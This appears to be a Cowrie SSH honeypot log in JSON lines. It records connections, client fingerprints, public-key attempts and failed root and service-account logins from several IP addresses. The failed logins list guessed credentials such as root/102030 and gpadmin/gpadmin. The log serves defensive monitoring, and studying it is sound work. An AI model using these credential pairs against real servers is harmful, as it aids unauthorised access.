{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:07.481534Z","src_ip":"192.109.200.237","session":"6bbf7b6d2692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:08.567730Z","src_ip":"192.109.200.237","session":"6bbf7b6d2692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":55254,"dst_ip":"10.17.0.5","dst_port":22,"session":"b19662247119","protocol":"ssh","message":"New connection: 103.27.238.120:55254 (10.17.0.5:22) [session: b19662247119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:08.977869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:08.984943Z","src_ip":"103.27.238.120","session":"b19662247119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.114","src_port":48050,"dst_ip":"10.17.0.5","dst_port":22,"session":"caa7bedef01c","protocol":"ssh","message":"New connection: 191.101.33.114:48050 (10.17.0.5:22) [session: caa7bedef01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.047607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.052173Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.078846Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:ab:c3:72:2d:1d:e2:e5:72:73:0e:9a:46:56:0a:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC705fE6hByEtwY3Ez3kMhWYT7v4NHzbCPVWzPxu1R9zpRQBY/My4V4N0NcNHLceT4PFXU0SevQnIXn/g8A+CxGYl8zH4/Mw8g/W3XakjSIPDYNSB7wu8LctupTx32hbuk0xhW89Lq1z+9SJRgKyjghuEAm71NchpQv2wlfoi1RTDK6EQuEHguVJgYxxIf9agKJUzoh4DVRc4xv0wuHJkjYn3roQy9/mIPvRuRDoiJ9aHh8WQpYc/eDRzIHgmszxCIANoUL28tb0vPl+tnx3HNgOBctRnk9IYcBuHgcAosC1stLqfDzJUrDVAq3oe+THZ5XPhyO3JJ9n8e34WpH1ThP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:ab:c3:72:2d:1d:e2:e5:72:73:0e:9a:46:56:0a:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.193129Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:ab:c3:72:2d:1d:e2:e5:72:73:0e:9a:46:56:0a:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC705fE6hByEtwY3Ez3kMhWYT7v4NHzbCPVWzPxu1R9zpRQBY/My4V4N0NcNHLceT4PFXU0SevQnIXn/g8A+CxGYl8zH4/Mw8g/W3XakjSIPDYNSB7wu8LctupTx32hbuk0xhW89Lq1z+9SJRgKyjghuEAm71NchpQv2wlfoi1RTDK6EQuEHguVJgYxxIf9agKJUzoh4DVRc4xv0wuHJkjYn3roQy9/mIPvRuRDoiJ9aHh8WQpYc/eDRzIHgmszxCIANoUL28tb0vPl+tnx3HNgOBctRnk9IYcBuHgcAosC1stLqfDzJUrDVAq3oe+THZ5XPhyO3JJ9n8e34WpH1ThP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.196835Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:5b:21:c5:ce:b3:45:5f:b5:5c:a3:ff:8c:19:cf:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu2O1dtncLKTKkRm+7D+usQa+DBZaEc8gzrzfbq+vmE/hTj2CUJDlEu049J3wjQ9F6EfRcam0XKuccr4NZ1s3G0Aw6Y3LNckEChdndj7lTrXm32UiV4ARB3VbXNKk2VkrTAloFUh7RjiAdchwIi3cvpnIC1VWu8Ztc+sJ0W9qud/Vc0mslu+SAzeCCLgO+b8tGJKVd/KesmHejar6maPvNSB4ULeCv/znjLAn7YLsmBIxE6s/OnF3Shek/MkpZRZGR2+Qs2Okf6TQkkek2CXH93K9TES/N0RIDRGgpFglkrvxIhXxoE+HWM507GhLSdHfH7N+Zn+BYTfXHLhfKqp1WQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:5b:21:c5:ce:b3:45:5f:b5:5c:a3:ff:8c:19:cf:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.224504Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:5b:21:c5:ce:b3:45:5f:b5:5c:a3:ff:8c:19:cf:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu2O1dtncLKTKkRm+7D+usQa+DBZaEc8gzrzfbq+vmE/hTj2CUJDlEu049J3wjQ9F6EfRcam0XKuccr4NZ1s3G0Aw6Y3LNckEChdndj7lTrXm32UiV4ARB3VbXNKk2VkrTAloFUh7RjiAdchwIi3cvpnIC1VWu8Ztc+sJ0W9qud/Vc0mslu+SAzeCCLgO+b8tGJKVd/KesmHejar6maPvNSB4ULeCv/znjLAn7YLsmBIxE6s/OnF3Shek/MkpZRZGR2+Qs2Okf6TQkkek2CXH93K9TES/N0RIDRGgpFglkrvxIhXxoE+HWM507GhLSdHfH7N+Zn+BYTfXHLhfKqp1WQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.228413Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:be:38:fd:41:cd:fd:26:cb:89:cc:40:2f:30:1e:40","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAT1OK43rcB8ekCCuLVZhyIj9oM7tJDP35GzNm83xsRH","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 15:be:38:fd:41:cd:fd:26:cb:89:cc:40:2f:30:1e:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.257751Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:be:38:fd:41:cd:fd:26:cb:89:cc:40:2f:30:1e:40","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAT1OK43rcB8ekCCuLVZhyIj9oM7tJDP35GzNm83xsRH","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.261981Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.267193Z","src_ip":"103.27.238.120","session":"b19662247119","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:d9:52:c7:3c:fd:bf:3a:5f:58:85:9f:6a:d2:e8:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDELxBtxNhNTUPmRjUB6L/6z6D+uhOK02Fjeubm/X7oWWlKNtfNt/Mq0t3O8uDNFpN5V1YqB/qix7XoTkkBFNh3v2vgYag1xJMf78jLp3Mu2H0WzoBKGkIMfhoWLTG2NVHCHwL9Jz/9WE+jwLugevDoa1zC2QJ6VwzOi8yeNmv2HfA0LQRJHYGHRzWeNXqqudeXCBzRvdFKaPtzyVz+P3LiyjiP953PFtQNDs4L5lSyf70bwSaYRima5lKJ9Ar3DLksCPxoSl+TSOigH05xZJB80slC1XpjYo1tJn2zIz3S1cVsGJD/thButi5tXas8JjQMuNm+5oIfrznVhvsdODHv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:d9:52:c7:3c:fd:bf:3a:5f:58:85:9f:6a:d2:e8:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.289558Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:d9:52:c7:3c:fd:bf:3a:5f:58:85:9f:6a:d2:e8:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDELxBtxNhNTUPmRjUB6L/6z6D+uhOK02Fjeubm/X7oWWlKNtfNt/Mq0t3O8uDNFpN5V1YqB/qix7XoTkkBFNh3v2vgYag1xJMf78jLp3Mu2H0WzoBKGkIMfhoWLTG2NVHCHwL9Jz/9WE+jwLugevDoa1zC2QJ6VwzOi8yeNmv2HfA0LQRJHYGHRzWeNXqqudeXCBzRvdFKaPtzyVz+P3LiyjiP953PFtQNDs4L5lSyf70bwSaYRima5lKJ9Ar3DLksCPxoSl+TSOigH05xZJB80slC1XpjYo1tJn2zIz3S1cVsGJD/thButi5tXas8JjQMuNm+5oIfrznVhvsdODHv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.293135Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:39:48:10:73:65:7c:e4:f4:0f:5b:30:89:c4:ac:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQTiEiClu+ER84KJDvTaGz2bjYwW8Js4nukT6+TWazXRDoJJMge/B5w9JFwLOvOmU1nqvhrhkHfDlLHoUjqV1swes3Nl+v9dxuXL4ZHw8YL7T10cGbBD1qjC+nDP5GMiq72Yrh/EFB05Oe50Sx1zkndXvAYdSKrVjOExZu6vTO+jTaP0onDjNfB4TfmNbdHdwgW9pE57fiOIvDO0l2kTfd3y6Kl5GsQF6ZblnkygT8/Xoz9AugRVhS+YXHuvQlgBBlxFf/2FLDaFxOS+nD3r+EdB/P1ZCWBv3lMBaIlkFINaaCAG2P/5AMIU5QC1fejRlbDs0CdChBPv9Eadoi93QB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:39:48:10:73:65:7c:e4:f4:0f:5b:30:89:c4:ac:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.320856Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:39:48:10:73:65:7c:e4:f4:0f:5b:30:89:c4:ac:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQTiEiClu+ER84KJDvTaGz2bjYwW8Js4nukT6+TWazXRDoJJMge/B5w9JFwLOvOmU1nqvhrhkHfDlLHoUjqV1swes3Nl+v9dxuXL4ZHw8YL7T10cGbBD1qjC+nDP5GMiq72Yrh/EFB05Oe50Sx1zkndXvAYdSKrVjOExZu6vTO+jTaP0onDjNfB4TfmNbdHdwgW9pE57fiOIvDO0l2kTfd3y6Kl5GsQF6ZblnkygT8/Xoz9AugRVhS+YXHuvQlgBBlxFf/2FLDaFxOS+nD3r+EdB/P1ZCWBv3lMBaIlkFINaaCAG2P/5AMIU5QC1fejRlbDs0CdChBPv9Eadoi93QB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.324099Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:09.353059Z","src_ip":"191.101.33.114","session":"caa7bedef01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv123","message":"login attempt [root/zxcv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:10.092598Z","src_ip":"103.27.238.120","session":"b19662247119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52480,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c71e4dcad19","protocol":"ssh","message":"New connection: 192.109.200.237:52480 (159.203.135.109:22) [session: 7c71e4dcad19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:10.821936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:10.826485Z","src_ip":"192.109.200.237","session":"7c71e4dcad19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:10.909601Z","src_ip":"192.109.200.237","session":"7c71e4dcad19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:11.158311Z","src_ip":"192.109.200.237","session":"7c71e4dcad19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:11.368835Z","src_ip":"103.27.238.120","session":"b19662247119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:12.244459Z","src_ip":"192.109.200.237","session":"7c71e4dcad19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":42194,"dst_ip":"10.17.0.5","dst_port":22,"session":"47a86613c1d0","protocol":"ssh","message":"New connection: 103.75.183.219:42194 (10.17.0.5:22) [session: 47a86613c1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:13.082349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:13.086493Z","src_ip":"103.75.183.219","session":"47a86613c1d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:13.336420Z","src_ip":"103.75.183.219","session":"47a86613c1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"474747","message":"login attempt [root/474747] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:14.074324Z","src_ip":"103.75.183.219","session":"47a86613c1d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52496,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dd8091410f1","protocol":"ssh","message":"New connection: 192.109.200.237:52496 (159.203.135.109:22) [session: 9dd8091410f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:14.368989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:14.373349Z","src_ip":"192.109.200.237","session":"9dd8091410f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:14.459292Z","src_ip":"192.109.200.237","session":"9dd8091410f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:14.708768Z","src_ip":"192.109.200.237","session":"9dd8091410f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:15.322857Z","src_ip":"103.75.183.219","session":"47a86613c1d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.217.9.109","src_port":34978,"dst_ip":"10.17.0.5","dst_port":22,"session":"784fa5d9986f","protocol":"ssh","message":"New connection: 83.217.9.109:34978 (10.17.0.5:22) [session: 784fa5d9986f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:15.643575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:15.648380Z","src_ip":"83.217.9.109","session":"784fa5d9986f","protocol":"ssh"}
